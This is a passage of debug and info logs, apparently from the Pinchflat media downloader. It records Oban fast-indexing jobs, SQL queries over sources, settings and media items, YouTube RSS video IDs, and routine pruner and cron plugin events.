m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 08:20:43.557 [debug] QUERY OK source="tasks" db=123.4ms idle=37.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [563, 3, ~U[2026-07-24 08:20:43Z], ~U[2026-07-24 08:20:43Z]] 08:20:43.656 [info] {"args":{"id":3},"id":561,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":162163,"event":"job:stop","queue_time":444413,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:20:56.084 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.235 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:21:26.085 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:56.087 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.236 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:22:26.089 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:56.090 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.237 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:23:26.091 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:56.093 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.238 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:24:26.095 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:56.096 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.239 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:25:26.097 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:56.098 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.240 [info] {"source":"oban","duration":116,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:26:26.099 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:56.101 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.241 [info] {"source":"oban","duration":118,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:27:26.102 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:56.103 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.242 [info] {"source":"oban","duration":110,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:28:26.104 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:56.106 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.243 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:29:26.107 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:56.108 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.244 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:30:26.109 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:32.053 [info] {"args":{"id":1},"id":562,"meta":{},"system_time":1784881832053382735,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:30:32.053 [debug] QUERY OK source="sources" db=0.0ms idle=634.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:30:32.053 [debug] QUERY OK source="settings" db=0.1ms idle=634.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:32.054 [debug] QUERY OK source="media_profiles" db=0.0ms idle=634.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:32.054 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:32.054 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 08:30:32.177 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:30:32.177 [debug] QUERY OK source="media_items" db=0.4ms idle=123.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:30:32.181 [debug] QUERY OK source="media_items" db=3.4ms idle=124.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 08:30:32.182 [debug] QUERY OK source="tasks" db=0.0ms idle=128.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [564, 1, ~U[2026-07-24 08:30:32Z], ~U[2026-07-24 08:30:32Z]] 08:30:32.182 [info] {"args":{"id":1},"id":562,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129004,"event":"job:stop","queue_time":534039,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:30:44.065 [info] {"args":{"id":3},"id":563,"meta":{},"system_time":1784881844065563834,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:30:44.066 [debug] QUERY OK source="sources" db=0.1ms idle=646.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 08:30:44.066 [debug] QUERY OK source="settings" db=0.1ms idle=647.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:44.066 [debug] QUERY OK source="media_profiles" db=0.0ms idle=647.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:44.066 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:44.066 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 08:30:44.292 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:30:44.293 [debug] QUERY OK source="media_items" db=0.3ms idle=227.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:30:44.295 [debug] QUERY OK source="media_items" db=2.0ms idle=227.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 08:30:44.296 [debug] QUERY OK source="tasks" db=0.0ms idle=229.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [565, 3, ~U[2026-07-24 08:30:44Z], ~U[2026-07-24 08:30:44Z]] 08:30:44.296 [info] {"args":{"id":3},"id":563,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":230860,"event":"job:stop","queue_time":631703,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:30:56.110 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.245 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:31:26.111 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:56.112 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.245 [info] {"source":"oban","duration":84,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:32:26.114 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:56.116 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.247 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:33:26.118 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:56.119 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.247 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:34:26.120 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:56.121 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.248 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:35:26.122 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:56.123 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.250 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:36:26.124 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:56.125 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.250 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:37:26.126 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:56.127 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.252 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:38:26.128 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:56.130 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.253 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:39:26.131 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:56.132 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.254 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:40:20.724 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784882420724257287,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:40:20.724 [debug] QUERY OK source="sources" db=0.0ms idle=1305.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:40:20.724 [debug] QUERY OK source="settings" db=0.0ms idle=1305.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:40:20.724 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:40:20.724 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:40:20.724 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 08:40:21.362 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 08:40:21.362 [debug] QUERY OK source="media_items" db=0.4ms idle=638.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 08:40:21.363 [debug] QUERY OK source="media_items" db=0.4ms idle=638.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 08:40:21.364 [debug] QUERY OK source="tasks" db=0.0ms idle=639.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [566, 2, ~U[2026-07-24 08:40:21Z], ~U[2026-07-24 08:40:21Z]] 08:40:21.365 [info] {"args":{"id":2},"id":537,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":640621,"event":"job:stop","queue_time":295946,"attempt":14,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:40:26.133 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:32.736 [info] {"args":{"id":1},"id":564,"meta":{},"system_time":1784882432736171284,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:40:32.736 [debug] QUERY OK source="sources" db=0.0ms idle=317.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:40:32.736 [debug] QUERY OK source="settings" db=0.0ms idle=317.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:40:32.736 [debug] QUERY OK source="media_profiles" db=0.0ms idle=317.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", 